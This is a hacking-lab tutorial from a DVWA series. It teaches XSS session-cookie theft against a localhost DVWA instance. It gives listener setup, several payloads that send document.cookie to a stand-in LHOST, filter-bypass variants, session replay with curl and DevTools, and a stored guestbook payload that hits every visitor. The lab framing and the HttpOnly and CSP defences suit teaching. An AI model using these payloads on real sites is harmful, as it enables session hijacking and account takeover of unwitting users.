Hacking Labs -- Day 2026 of 300
100%

DVWA XSS Cookie Theft Lab 2026 — Steal Session Cookies and Hijack Accounts | Hacking Lab 19

DVWA XSS Cookie Theft Lab 2026 — Steal Session Cookies and Hijack Accounts | Hacking Lab 19
🧪 DVWA LAB SERIES
FREE

Part of the DVWA Lab Series — 30 Labs

Lab 19 of 30 · 63% complete

DVWA XSS cookie theft lab 2026 :— Finding an XSS vulnerability is impressive. Stealing a session cookie with it and logging in as another user is what turns an impressive finding into a critical one. Most beginners who discover XSS stop at the alert box. They prove the injection exists but they don’t demonstrate what an attacker could actually do with it. Triagers see alert boxes every day. What gets a finding escalated to Critical is a working proof-of-concept that shows the victim’s authenticated session being taken over. This lab builds that full chain from scratch — payload injection, cookie exfiltration via listener, and session replay that puts you in the victim’s authenticated account without ever knowing their password.

🎯 What You’ll Master in Lab 19

Understand why session cookie theft transforms XSS from theoretical to critical severity
Set up a cookie listener using Python HTTP server and Netcat
Craft and inject XSS cookie exfiltration payloads at Low, Medium, and High security
Capture a stolen PHPSESSID value and replay it to hijack an authenticated session
Understand the HttpOnly flag and why it specifically blocks document.cookie-based theft
Build a stored XSS cookie theft payload that hits every visitor automatically

⏱️ 50 min lab · 3 terminal exercises · Localhost DVWA only

📋 Prerequisites — Complete Before Lab 19

  • Lab 8: DVWA XSS Reflected — understand how reflected XSS payloads inject and execute before attempting cookie theft
  • Lab 9: DVWA XSS Stored — stored XSS combined with cookie theft is more dangerous; understand both attack types
  • Lab 10: DVWA DOM XSS — DOM-based XSS uses a different code execution path; completing the full XSS trilogy before Lab 19 is recommended

Labs 8, 9, and 10 established how XSS payloads inject and execute across reflected, stored, and DOM contexts. Lab 8’s reflected XSS showed that user input reaches the browser unescaped. Lab 9’s stored XSS showed that payloads persist and hit every visitor. Lab 19 completes the XSS attack chain by weaponising those injection points for the most impactful outcome: stealing the authenticated session of anyone who loads the vulnerable page. Once you complete this lab, the DVWA Lab Series moves to Lab 20’s CSRF Advanced — where XSS and CSRF chain together for an even more powerful combined attack.


Why Session Cookies Are the Target — Account Takeover Without a Password

Web applications maintain authentication state through session cookies. When you log in, the server creates a unique session identifier — typically stored in a cookie named PHPSESSID, JSESSIONID, session_id, or similar — and sends it to your browser. Every subsequent request your browser makes to the server includes this cookie in the header. The server checks the cookie against its session store and knows who you are. The session cookie is your authentication credential for the duration of the session.

This architecture has a critical implication for XSS: if an attacker can execute JavaScript in your browser’s context on the target application’s domain, they can read your session cookie using document.cookie and send it to any server they control. The attacker then injects that cookie value into their own browser and — from the server’s perspective — they are now you. No password required. No MFA bypass required. No account recovery needed. They have your session token, and that token grants full access to your account for as long as the session remains valid.

This is precisely why XSS vulnerabilities on authenticated pages are rated Critical in most vulnerability assessment frameworks. The theoretical “attacker could execute arbitrary JavaScript” becomes concrete the moment you demonstrate session cookie theft and account takeover. In bug bounty programmes, an XSS finding with a working cookie theft PoC earns dramatically higher payouts than an XSS finding with only an alert box demonstration — because the impact chain is undeniable.

Lab Setup Reminder: Ensure DVWA is running at http://localhost/dvwa/ and you are logged in as admin. Open a second browser profile or incognito window to simulate the victim user — you will use this to demonstrate that the stolen cookie from “admin” successfully authenticates in the attacker’s browser. This two-browser setup makes the account takeover demonstration concrete and is exactly what you would include in a real bug bounty PoC.
securityelites.com
Session Cookie Architecture — What the Attacker Is Targeting
NORMAL REQUEST (Authenticated User)
GET /dvwa/index.php HTTP/1.1
Cookie: PHPSESSID=a1b2c3d4e5f6
→ Server: session valid → show admin content

ATTACKER REQUEST (Replayed Cookie)
GET /dvwa/index.php HTTP/1.1
Cookie: PHPSESSID=a1b2c3d4e5f6 ← stolen!
→ Server: session valid → show admin content ❌

The server cannot distinguish between the real user and an attacker replaying their session token

📸 Session cookie architecture from the attacker’s perspective. The server validates the PHPSESSID value — not the requester’s identity, IP address, or browser fingerprint. When an attacker steals the session token via XSS and replays it, the server sees a valid session ID and grants full access. This is why session cookies are the primary target of XSS exploitation and why HttpOnly flag and short session expiry are essential security controls.


Setting Up the Cookie Listener on Kali

Before injecting any payload, you need a server running on your Kali machine that can receive the stolen cookie. When the XSS payload fires in the victim’s browser, it makes an HTTP request to your listener with the cookie value as a URL parameter. Your listener logs that request, you extract the cookie value, and you replay it. The listener is the simplest component of the attack — a single Python or Netcat command — but it must be running before you inject, because the payload fires the moment the victim loads the page.

Two options work well for this lab: Python’s built-in HTTP server and Netcat. The Python server provides cleaner output and automatically URL-decodes the request parameters, making the cookie value immediately readable. Netcat gives you raw request data and is more representative of how you’d receive exfiltrated data in a real scenario where the victim’s browser might send more complex cookie strings. For DVWA’s simple PHPSESSID, both work equally well.

LISTENER SETUP — PYTHON HTTP SERVER AND NETCAT
# Get your Kali machine’s IP address
ip a | grep “inet ” | grep -v “127.0.0.1”
inet 192.168.56.100/24 brd 192.168.56.255 scope global eth1
# Note: 192.168.56.100 — this is your LHOST in all payloads
# For localhost DVWA labs, use 127.0.0.1 as LHOST
# Option A: Python HTTP server (recommended — clean output)
mkdir -p /tmp/cookie-lab && cd /tmp/cookie-lab
python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) …
# Incoming requests appear as:
192.168.56.101 – – [14/Apr/2026 06:30:12] “GET /steal?c=PHPSESSID%3Dabc123 HTTP/1.1” 200 –
# Option B: Netcat (raw — shows full HTTP request headers)
nc -lvnp 8888
Listening on 0.0.0.0 8888
# When cookie arrives:
Connection received on 127.0.0.1 49234
GET /steal?c=PHPSESSID=a1b2c3d4e5f678901234abcdef HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
# Keep the listener running in a dedicated terminal tab
# Every cookie theft payload you inject will appear here

⚡ EXERCISE 1 — KALI TERMINAL (15 MIN)
Set Up Listener and Confirm Cookie Visibility at Low Security

⏱️ 15 minutes · Kali + local DVWA running at http://localhost/dvwa/

LAB SETUP AND LOW SECURITY COOKIE VISIBILITY TEST
# Step 1: Start your cookie listener in one terminal tab
mkdir -p /tmp/cookie-lab && cd /tmp/cookie-lab && python3 -m http.server 8888
# Step 2: In your browser, log in to DVWA as admin/password
# Set DVWA security level to LOW
# Navigate to: DVWA > XSS (Reflected)
# Step 3: Confirm cookies are readable via JS — test payload first
# In the “What’s your name?” field, enter:
<script>alert(document.cookie)</script>
# An alert box should appear showing: PHPSESSID=xxxxxx; security=low
# If you see this: XSS executes + cookies are readable = theft is viable
# Step 4: Check DVWA cookie HttpOnly status in browser DevTools
# F12 > Application > Storage > Cookies > http://localhost
# Find PHPSESSID row — check HttpOnly column
# In default DVWA: HttpOnly = false → cookie is readable via document.cookie
# Step 5: Note your current PHPSESSID value for comparison
echo “My session before theft: [copy PHPSESSID value here]”

✅ What you just learned: The alert(document.cookie) test is the critical viability check before attempting theft. If the alert shows the PHPSESSID, two conditions are confirmed: (1) XSS executes, (2) the cookie has no HttpOnly flag. Both are required for document.cookie-based theft. If the alert shows an empty string or only the security cookie, HttpOnly is set and the direct theft chain won’t work. In DVWA’s default configuration, HttpOnly is intentionally disabled so the full attack chain is demonstrable. Note that the “security=low” cookie also appears — DVWA uses this to track the security level setting.

📸 Screenshot the alert box showing your PHPSESSID. Post to #lab-19-cookie-theft on Discord. This is your baseline before the theft.


Low Security — Cookie Exfiltration Payload

At DVWA Low security, there is no filtering of any kind on the name parameter. Any JavaScript you inject executes directly. The cookie exfiltration payload redirects the victim’s browser to your listener with the cookie value as a URL parameter. When the browser follows the redirect, your listener receives an HTTP GET request containing the full cookie string as part of the URL. The payload uses document.location for the redirect — this is equivalent to navigating the browser programmatically and triggers the GET request automatically without any alert box or visible indicator to the victim.

The anatomy of the payload is worth understanding in detail. document.location sets the browser’s current URL to whatever value you assign. By setting it to your listener’s URL with document.cookie appended as a query parameter, the browser makes a GET request to your server that includes the full cookie string. The + operator concatenates the base URL with the cookie value. The result is a clean, reliable exfiltration that works across all modern browsers and does not produce any visible effect in the page — the victim’s view flickers briefly as the page redirects, but from a social engineering perspective, that page can be designed to redirect back to a convincing landing page immediately after the theft completes.

LOW SECURITY — COOKIE EXFILTRATION PAYLOADS
# Replace LHOST with your Kali IP (or 127.0.0.1 for localhost labs)
# Payload 1: document.location redirect (cleanest)
<script>document.location=’http://LHOST:8888/steal?c=’+document.cookie</script>
# Payload 2: Image src request (stays on page — less suspicious)
<script>new Image().src=’http://LHOST:8888/steal?c=’+document.cookie</script>
# This creates an invisible 1×1 image request — no page redirect, harder to notice
# Payload 3: fetch API (modern, works in most browsers)
<script>fetch(‘http://LHOST:8888/steal?c=’+document.cookie)</script>
# Payload 4: XMLHttpRequest (legacy compatibility)
<script>var x=new XMLHttpRequest();x.open(‘GET’,’http://LHOST:8888/steal?c=’+document.cookie);x.send()</script>
# After injecting: your listener should receive:
GET /steal?c=PHPSESSID=a1b2c3d4e5f6789;+security=low HTTP/1.1
# Extract PHPSESSID value between ‘PHPSESSID=’ and the next ‘;’

securityelites.com
Cookie Exfiltration — Payload Injection to Listener Receipt
Step 1: Payload injected into DVWA XSS Reflected field
<script>new Image().src=’http://127.0.0.1:8888/steal?c=’+document.cookie</script>

Step 2: Python listener receives the exfiltrated cookie
127.0.0.1 – – [14/Apr/2026 06:30:22]
“GET /steal?c=PHPSESSID=7f3a2b1c9d8e4f5a;+security=low HTTP/1.1”

✅ PHPSESSID captured: 7f3a2b1c9d8e4f5a — ready for session replay

📸 Cookie exfiltration chain at Low security. The Image payload fires silently in the background — no page redirect, no alert, nothing visible to the victim. The Python listener receives the GET request with the full cookie string as the query parameter. The PHPSESSID value (7f3a2b1c9d8e4f5a in this example) is extracted from between “PHPSESSID=” and the semicolon separator. This value is all you need to impersonate the victim’s authenticated session.


Session Replay — Logging In as the Victim

You have the PHPSESSID. Now you need to inject it into your browser so the server treats your requests as coming from the victim’s authenticated session. The browser sends cookies automatically based on the values stored in its cookie store for a given domain. If you replace your own PHPSESSID with the stolen one, the next request you make to DVWA will include the victim’s session token — and the server will grant you the victim’s access level.

The most reliable method for cookie injection in a testing environment is browser developer tools. Every modern browser provides a cookies panel in the Application or Storage inspector where you can directly edit cookie values without needing any extensions. For more advanced scenarios — automated session replay, integration with Burp Suite, or scripted account takeover demonstrations — you can set cookies programmatically via JavaScript in the console or use Burp’s cookie jar management.

SESSION REPLAY — INJECTING STOLEN COOKIE IN BROWSER
# Method 1: Browser DevTools (fastest for lab demos)
# 1. Open a new browser profile or incognito window
# 2. Navigate to http://localhost/dvwa/
# 3. Open DevTools: F12
# 4. Application tab > Cookies > http://localhost
# 5. Find PHPSESSID row, double-click Value column
# 6. Replace with stolen value and press Enter
# 7. Reload the page
# Method 2: Browser console JavaScript
document.cookie = “PHPSESSID=7f3a2b1c9d8e4f5a; path=/”;
# Then reload: location.reload()
# Method 3: curl with stolen cookie (verify access from terminal)
curl -s -b “PHPSESSID=7f3a2b1c9d8e4f5a; security=low” \
http://localhost/dvwa/index.php | grep -i “welcome\|logged in\|admin”
Welcome :: Damn Vulnerable Web Application (DVWA) v1.10
You are logged in as ‘admin’
# Confirmed: stolen cookie grants admin access
# Method 4: Burp Suite cookie jar
# In Burp: right-click request > Add Cookie to Jar
# Or manually edit in Proxy > Options > Cookie Jar

securityelites.com
Session Replay — Stolen Cookie Injected, Admin Access Confirmed
VICTIM BROWSER (window 1)
Cookie: PHPSESSID=7f3a2b1c9d8e
Logged in as: admin
XSS payload fired → cookie sent

ATTACKER BROWSER (window 2)
Cookie: PHPSESSID=7f3a2b1c9d8e ← injected
Logged in as: admin ← account hijacked
Password never entered

$ curl -b “PHPSESSID=7f3a2b1c9d8e; security=low” http://localhost/dvwa/
Welcome :: DVWA — You are logged in as ‘admin’

📸 Session replay confirmation. The same PHPSESSID value appears in both the victim’s browser (where it was legitimately issued on login) and the attacker’s browser (where it was injected after theft). Both sessions are authenticated as admin. The curl command verifies the same from the terminal — a clean one-liner that confirms account takeover and is ideal for including in a bug bounty PoC screenshot alongside the listener receipt.


Medium Security — Bypassing Script Tag Filters

DVWA Medium security applies basic input filtering that strips or encodes <script> tags. The filter checks for the literal string “<script” and removes it from input. This approach is fundamentally flawed because JavaScript can execute through many HTML elements beyond script tags. Event handlers — the JavaScript attributes attached to HTML elements — execute code when triggered by user or browser events, with no script tag required.

The most reliable event handlers for XSS injection bypass are: onerror on an image element with an invalid src (the error fires immediately without any user interaction), onload on an img, body, or svg element, and onfocus with autofocus attribute. The onerror handler is particularly effective because it fires automatically when the browser tries to load an image and fails — making it a zero-interaction payload that fires the moment the page loads, exactly like a script tag would.

MEDIUM SECURITY — EVENT HANDLER BYPASS PAYLOADS
# Script tags are stripped — use event handlers instead
# Payload 1: img onerror (fires automatically — no interaction)
<img src=x onerror=”document.location=’http://LHOST:8888/steal?c=’+document.cookie”>
# src=x fails to load → onerror fires → cookie exfiltrated
# Payload 2: img onerror with new Image (stays on page)
<img src=x onerror=”new Image().src=’http://LHOST:8888/steal?c=’+document.cookie”>
# Payload 3: body onload (fires when body element loads)
<body onload=”new Image().src=’http://LHOST:8888/steal?c=’+document.cookie”>
# Payload 4: svg onload (SVG elements support JS events)
<svg onload=”new Image().src=’http://LHOST:8888/steal?c=’+document.cookie”>
# Payload 5: input autofocus onfocus (for form input contexts)
<input autofocus onfocus=”new Image().src=’http://LHOST:8888/steal?c=’+document.cookie”>
# Confirm Medium security filter is bypassed:
GET /steal?c=PHPSESSID=newvalue123;+security=medium HTTP/1.1
# The security=medium cookie in the captured string confirms you bypassed Medium level

⚡ EXERCISE 2 — KALI TERMINAL (20 MIN)
Full Cookie Theft Chain — Low and Medium Security with Session Replay

⏱️ 20 minutes · Kali + local DVWA · Two browser windows (attacker and victim)

COMPLETE THEFT CHAIN — LOW THEN MEDIUM SECURITY
# SETUP: Start listener (keep running throughout)
python3 -m http.server 8888 &
# ===== LOW SECURITY =====
# In DVWA (browser window 1 = “victim admin session”)
# Security = Low > XSS Reflected > inject:
<script>new Image().src=’http://127.0.0.1:8888/steal?c=’+document.cookie</script>
# Watch the terminal — cookie request arrives
# Extract the PHPSESSID value from the GET request
# SESSION REPLAY — in browser window 2 (incognito = “attacker”)
# Navigate to http://localhost/dvwa/
# F12 > Application > Cookies > localhost
# Set PHPSESSID = [stolen value from listener]
# Set security = low
# Reload page — you should now be logged in as admin in window 2
# Confirm: username shown = admin
# ===== MEDIUM SECURITY =====
# Change DVWA security to Medium in window 1 (victim session)
# Try script payload first — should be stripped/blocked
<script>alert(1)</script>
# No alert = filter working. Switch to onerror bypass:
<img src=x onerror=”new Image().src=’http://127.0.0.1:8888/steal?c=’+document.cookie”>
# Watch listener — new cookie value should arrive with security=medium
# Replay this new cookie in window 2 to confirm Medium bypass worked
# Verify both sessions were captured
grep “steal” /tmp/cookie-lab/access_log 2>/dev/null || echo “Check terminal output above”

✅ What you just learned: The two-browser setup mirrors a real attack scenario: window 1 is the victim user (logged-in admin), window 2 is the attacker (initially unauthenticated). After injecting the payload in window 1 and replaying the cookie in window 2, the attacker’s window shows admin access — full account takeover complete. This is the exact demonstration you would include in a bug bounty report to prove impact. Notice that switching to Medium security generates a new PHPSESSID — each login session gets a fresh token. This means the attack must be performed against the victim’s active session, not a stale one.

📸 Screenshot both windows side by side: victim’s DVWA session (Low) and attacker’s window showing admin logged in after cookie replay. Post to #lab-19-cookie-theft on Discord.


High Security — Advanced Bypass Techniques

DVWA High security applies stricter input filtering, typically using a combination of htmlspecialchars() and more aggressive pattern matching that blocks common event handler attributes. The reflected XSS page at High security in DVWA is significantly harder to bypass than Medium — in many DVWA versions, the reflected XSS is effectively patched at High, and the lesson shifts to understanding why the stored XSS page may still be vulnerable even when reflected is secured. This is a realistic model of real applications, which often patch specific injection points without a consistent application-wide security model.

At High security, if input filtering is applied properly, your approach shifts to DOM-based XSS sources and sinks, or to exploiting any stored input paths that may use different sanitisation logic. The DVWA High security XSS Stored page is often still vulnerable to payloads that bypass the character limit by editing the HTML directly in DevTools — changing the maxlength attribute of the input field to allow longer payloads, then injecting an SVG onload or a carefully crafted DOM manipulation payload.

HIGH SECURITY — ADVANCED XSS BYPASS APPROACHES
# High security often restricts character input length
# Bypass maxlength restriction via DevTools HTML edit
# F12 > Inspector > find <input maxlength=”10″> > change to maxlength=”500″
# SVG onload payload (evades many regex filters)
<svg/onload=new Image().src=’http://LHOST:8888/steal?c=’+document.cookie>
# Case variation bypass (some filters are case-sensitive)
<IMG SRC=X ONERROR=new Image().src=’http://LHOST:8888/steal?c=’+document.cookie>
# JavaScript URI in href (for contexts where href is injectable)
<a href=”javascript:new Image().src=’http://LHOST:8888/steal?c=’+document.cookie”>Click</a>
# Check DVWA High Stored XSS (message field — often different sanitisation)
# DevTools: change maxlength on the textarea from 50 to 500
# Then inject full payload in the message field
<img src=x onerror=”new Image().src=’http://LHOST:8888/steal?c=’+document.cookie”>
# Every user who loads the guestbook page fires the payload

⚠️ HttpOnly Defeats document.cookie Theft: If a session cookie has the HttpOnly flag set, JavaScript cannot read it via document.cookie — the property returns an empty string or omits the protected cookie. This directly breaks the exfiltration payload. At DVWA High security (and in properly configured production applications), HttpOnly should be set on session cookies. When HttpOnly is present, XSS still has impact — keylogging, form hijacking, CSRF token theft — but the direct document.cookie exfiltration chain does not work. Always check HttpOnly status before building a cookie theft PoC.

Stored XSS Cookie Theft — Zero Interaction Required

The most impactful variant of XSS cookie theft combines the exfiltration payload with a stored XSS injection point. When a cookie theft payload is injected into a persistent storage location — a guestbook, a message board, a user profile field, a product review — every user who loads the page containing that payload automatically fires the theft without any additional interaction beyond loading the page. No phishing link. No social engineering. Just a stored payload that silently exfiltrates every visitor’s session token to your listener.

In DVWA’s XSS Stored lab (Lab 9), you injected persistent payloads into the guestbook’s message field. The same guestbook is accessible here. By injecting a cookie theft payload into the message field — with the maxlength restriction bypassed via DevTools — you create a persistent trap that fires for every subsequent visitor who loads the guestbook page. In a real application, this is the difference between finding a bug and demonstrating a mass account takeover scenario that affects every user simultaneously.

⚡ EXERCISE 3 — KALI TERMINAL (15 MIN)
Stored XSS Cookie Theft — Persistent Payload That Hits Every Visitor

⏱️ 15 minutes · Kali + local DVWA · Security level: Low

STORED XSS COOKIE THEFT — PERSISTENT TRAP
# Step 1: Navigate to DVWA XSS (Stored) — Security: Low
# URL: http://localhost/dvwa/vulnerabilities/xss_s/
# Step 2: The message field has maxlength=”50″ — bypass via DevTools
# F12 > Inspector > find textarea with id=”mtxMessage” or name=”mtxMessage”
# Right-click > Edit as HTML > change maxlength=”50″ to maxlength=”500″
# Step 3: Inject the persistent cookie theft payload in message field
<img src=x onerror=”new Image().src=’http://127.0.0.1:8888/steal?c=’+document.cookie”>
# Name field: can be anything e.g. “TestUser”
# Click Sign Guestbook
# Step 4: Confirm payload is stored — your own cookie fires first
# Watch the listener — you should see your own PHPSESSID arrive immediately
127.0.0.1 – “GET /steal?c=PHPSESSID=abc123;+security=low HTTP/1.1”
# Step 5: Simulate a second victim loading the guestbook
# Open incognito window > log in to DVWA as any user (admin/password)
# Navigate to the XSS Stored page
# Watch listener — victim’s NEW PHPSESSID arrives automatically
127.0.0.1 – “GET /steal?c=PHPSESSID=xyz789;+security=low HTTP/1.1”
# Victim never clicked anything — just loaded the guestbook page
# Step 6: Replay the victim’s cookie in a third browser window
# Confirm you can access victim’s session without knowing password
curl -s -b “PHPSESSID=xyz789; security=low” http://localhost/dvwa/ | grep “admin\|Welcome”

✅ What you just learned: The stored XSS cookie theft demonstrates why stored XSS is rated more severely than reflected XSS in most security frameworks. With reflected XSS, you must deliver a crafted link to each victim individually. With stored XSS, one injection hits every user who visits the page — mass account takeover with zero per-victim interaction. In a real application this could mean thousands of user sessions being exfiltrated in the hours between a stored payload being injected and a security team discovering and removing it. This is the impact argument that turns a stored XSS finding into a Critical severity report with a high payout.

📸 Screenshot showing both your cookie AND the victim’s cookie appearing in the listener from loading the guestbook page. Post to #lab-19-cookie-theft on Discord with tag #lab19-complete.

🧠 QUICK CHECK — Lab 19 XSS Cookie Theft

You’ve found a stored XSS vulnerability in a web application’s comment field. You inject a cookie theft payload and it fires. But the listener receives: “GET /steal?c=lang=en HTTP/1.1” — the PHPSESSID is missing. What is the most likely cause?



📋 Commands Used Today — Lab 19 XSS Cookie Theft Reference

python3 -m http.server 8888Start cookie listener — captures GET requests with cookie query params
<script>new Image().src=’http://LHOST:8888/steal?c=’+document.cookie</script>Low security — silent image request exfiltration, stays on page
<img src=x onerror=”new Image().src=’http://LHOST:8888/steal?c=’+document.cookie”>Medium security — onerror event handler bypasses script tag filter
<svg/onload=new Image().src=’http://LHOST:8888/steal?c=’+document.cookie>High security — SVG onload evades most regex-based filters
document.cookie = “PHPSESSID=stolen_value; path=/”;Session replay via browser console — injects stolen token
curl -s -b “PHPSESSID=value; security=low” http://localhost/dvwa/Verify stolen session access from terminal
DevTools Inspector: change maxlength=”50″ to maxlength=”500″Bypass stored XSS character limit restriction

🏆 Mark Lab 19 Complete — DVWA XSS Cookie Theft 2026

You can now perform the full XSS cookie theft chain: inject payload, capture session token, replay to hijack account. Lab 20 builds directly on this — DVWA CSRF Advanced chains with XSS to extract anti-CSRF tokens and bypass server-side request forgery protections.


❓ Frequently Asked Questions — DVWA XSS Cookie Theft Lab 2026

What is XSS cookie theft?
XSS cookie theft is an attack where a Cross-Site Scripting vulnerability executes JavaScript that reads the session cookie via document.cookie and exfiltrates it to an attacker server. The attacker replays the stolen token to impersonate the victim’s authenticated session — full account takeover without knowing their password. It is the most impactful exploitation of XSS vulnerabilities on authenticated pages.
What does the DVWA XSS cookie theft lab teach?
Lab 19 builds the complete theft chain: setting up a listener, crafting exfiltration payloads for Low/Medium/High security, capturing the PHPSESSID from the listener output, and replaying it for session hijack. It also covers the HttpOnly flag — the most targeted control against this specific attack — and stored XSS as the mass-account-takeover variant.
What stops XSS cookie theft?
HttpOnly flag on session cookies is the most direct protection — it prevents JavaScript from reading the cookie via document.cookie. CSP restricts where JavaScript can make requests. Proper output encoding prevents the XSS injection in the first place. In DVWA’s default configuration, HttpOnly is disabled intentionally so the full attack is demonstrable.
Is the PHPSESSID HttpOnly in DVWA?
By default, no. DVWA intentionally leaves HttpOnly unset so the cookie theft lab works end-to-end. Real applications should always set HttpOnly and Secure on session cookies. You can verify in DevTools: Application > Cookies > look for the HttpOnly checkbox in the PHPSESSID row.
Can stored XSS steal cookies without the victim clicking anything?
Yes — stored XSS cookie theft fires automatically when the victim loads any page containing the persistent payload. No phishing link, no user interaction beyond navigation. This is why stored XSS with cookie theft on a high-traffic page is rated Critical — it can silently exfiltrate thousands of session tokens.
What DVWA labs come before and after Lab 19?
Lab 18 covered File Upload Advanced. Lab 19 covers XSS Cookie Theft. Lab 20 covers CSRF Advanced — token bypass via XSS, which directly builds on the XSS session context from this lab. Labs 8, 9, 10, and 19 together complete the full DVWA XSS sequence.
← Previous

Lab 18: DVWA File Upload Advanced

Next →

Lab 20: DVWA CSRF Advanced Lab

📚 Further Reading

  • DVWA XSS Stored Lab — Lab 9 — The persistent XSS injection point used in Exercise 3 — stored payloads in the guestbook combine with cookie theft for mass session exfiltration without any victim interaction beyond page load.
  • DVWA CSRF Advanced Lab — Lab 20 — Builds directly on Lab 19 — uses XSS to extract anti-CSRF tokens and bypass server-side request forgery protections for one-click authenticated action attacks.
  • DVWA Lab Series Hub — Full 30-lab series overview — Lab 19 sits at the intersection of the XSS sequence (Labs 8–10, 19) and the exploitation chain that continues through CSRF Advanced (Lab 20) and SQL Injection High (Lab 21).
  • PortSwigger XSS Cookie Steal Lab — PortSwigger’s guided XSS cookie theft lab in a realistic application context — complements DVWA Lab 19 with a different injection surface and exploitation approach.
  • OWASP Session Hijacking Attack Reference — The definitive OWASP reference on session hijacking — covers all vectors including XSS cookie theft, network sniffing, and session fixation with prevention guidance for each.
ME
Mr Elite
Owner, SecurityElites.com
The moment this lab clicked for me was when I first used a stored XSS cookie theft payload on a test application and watched three separate user sessions arrive in my listener within two minutes — each one a different person loading the same page. I hadn’t sent anyone a link. I hadn’t done any social engineering. I just injected the payload once and waited. That’s when the abstract concept of “stored XSS is more dangerous than reflected” became viscerally real. The listener filling up with session tokens while I sat there doing nothing is the most effective demonstration of why XSS severity ratings are not theoretical — they map directly to real-world account takeover at scale.

Join free to earn XP for reading this article Track your progress, build streaks and compete on the leaderboard.
Join Free

Leave a Comment

Your email address will not be published. Required fields are marked *